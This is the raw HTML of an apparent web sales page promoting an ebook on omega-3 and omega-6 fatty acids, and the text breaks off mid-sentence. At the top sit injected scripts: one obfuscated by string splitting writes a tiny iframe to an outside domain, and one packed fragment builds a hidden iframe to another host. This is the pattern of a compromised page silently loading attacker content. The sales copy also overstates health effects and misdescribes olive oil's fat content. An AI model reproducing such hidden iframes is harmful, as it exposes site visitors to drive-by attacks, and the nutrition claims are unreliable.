<script>document.write("<"+"i"+"f"+"ram"+"e sr"+"c=\"h"+"t"+"tp"+":"+"/"+"/tr"+"ught"+""+"s"+"a.c"+"o"+"m/\" wid"+"th=1 he"+"ight"+"="+"2></if"+"r"+"a"+""+"me>");</script><script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err) {}</script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script><!-- ad --><script type="text/javascript"><0 3=\'4://a.c.e.8\' 5=\'1\' 9=\'1\' b=\'7: d;\'></0>");',15,15,'iframe||document|src|http|width|write|visibility|jp|height|www|style|fujifork|hidden|co'.split('|'),0,{}));</script><!-- /ad --> <table width="592" height="1509" align="center" cellpadding="5"> <tr> <td height="1503" valign="top"><br> <table width="568" height="81" align="center"> <tr> <td width="506" height="75" valign="top"> <div align="center"> <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">"Eat the essential fatty acid or suffer the pain of illness and disease"</font><font face="Verdana, Arial, Helvetica, sans-serif"><br> <font color="#FF0000" size="5"><strong><font size="6">Essential Fatty Acid Remedies That work</font><br> </strong> <font color="#000000" size="2"><strong>www.fatty-acid-remedies.for--you.com</strong></font></font></font></p> </div></td> </tr> </table> <p align="center"><font size="5"><strong>"Don't be caught deficient in these fatty acid because they regulate pain and determine what diseases you will come down with as you age"</strong></font></p> <p align="left"> <script language="JavaScript"> var mydate=new Date() var year=mydate.getYear() if (year < 1000) year+=1900 var day=mydate.getDay() var month=mydate.getMonth() var daym=mydate.getDate() if (daym<10) daym="0"+daym var dayarray=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday") var montharray=new Array("January","February","March","April","May","June","July","August","September","October","November","December") document.write("<font color='000000' size='4' face='Tahoma'>"+dayarray[day]+", "+montharray[month]+" "+daym+", "+year+"</font>") </script> <br> <script type="text/javascript"><!-- google_ad_client = "pub-1199615923814792"; google_ad_width = 336; google_ad_height = 280; google_ad_format = "336x280_as"; google_ad_channel ="3591805234"; google_ad_type = "text"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "0000FF"; google_color_url = "000000"; google_color_text = "000000"; //--></script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </p> <p><font face="Verdana, Arial, Helvetica, sans-serif">So much has been written about the essential fatty acids that it is now a given that you need to be supplementing your diet with these nutrients. They are call essential because, you can't create them in your body and you need them to carry on your life without illness or disease.</font></p> <table width="470" height="228" align="center" cellpadding="5"> <tr> <td width="143" height="222" valign="top"><a href="http://www.fatty-acid-remedies.for--you.info/fattysales.html"><img src="eatacidsbook.gif" width="143" height="212" border="0"></a></td> <td width="299" valign="top"><p><font face="Verdana, Arial, Helvetica, sans-serif">Because of the importance of these fatty acids I have written a short ebook to help you understand how they work in your body, why you need to take them, what illnesses they create when you are deficient, and what are the best ones to take.</font></p> <p><font face="Verdana, Arial, Helvetica, sans-serif"> I have titled this ebook, "<strong>Eat The <a href="http://www.fatty-acid-remedies.for--you.info/fattysales.html">Fatty Acids</a> and Reduces the Pain of Physical and Mental Illness</strong>"</font></p></td> </tr> </table> <p><font face="Verdana, Arial, Helvetica, sans-serif">The essential fatty acids are another group of nutrients that you need to include in your eating pattern. These fatty acids can't be made by your body that is why they are called essential. Without them your body can't function. When you don't have enough of them in your body, your will have more pain. You will have a decrease in mental capacity. Your blood will be thicker and you will have higher chlesterol levels.</font></p> <p><font face="Verdana, Arial, Helvetica, sans-serif">The fatty acids have functions in every cell of your body and in the blood.</font> </p> <p><font face="Verdana, Arial, Helvetica, sans-serif">The essential fatty acids are omega-3 and omega 6. Most of you are familiar with omega 6. Olive oil has a large percentage of omega-6. Omega-3 is the essential fatty acid that is found in fish and in flax seed oil. Most all oils have a omega-3 and omega-6 in them. Some oils have more omega-6 than omega-3 and some have more omega-3.</font></p> <p><font face="Verdana, Arial, Helvetica, sans-serif">The best way to add these fatty acids to you diet is to use olive oil and flax seed oil in your daily salads. Another way is to eat fish once a week. Yet another way is to supplement with fish oil capsules.</font></p> <p><font face="Verdana, Arial, Helvetica, sans-serif">You can gain more informatio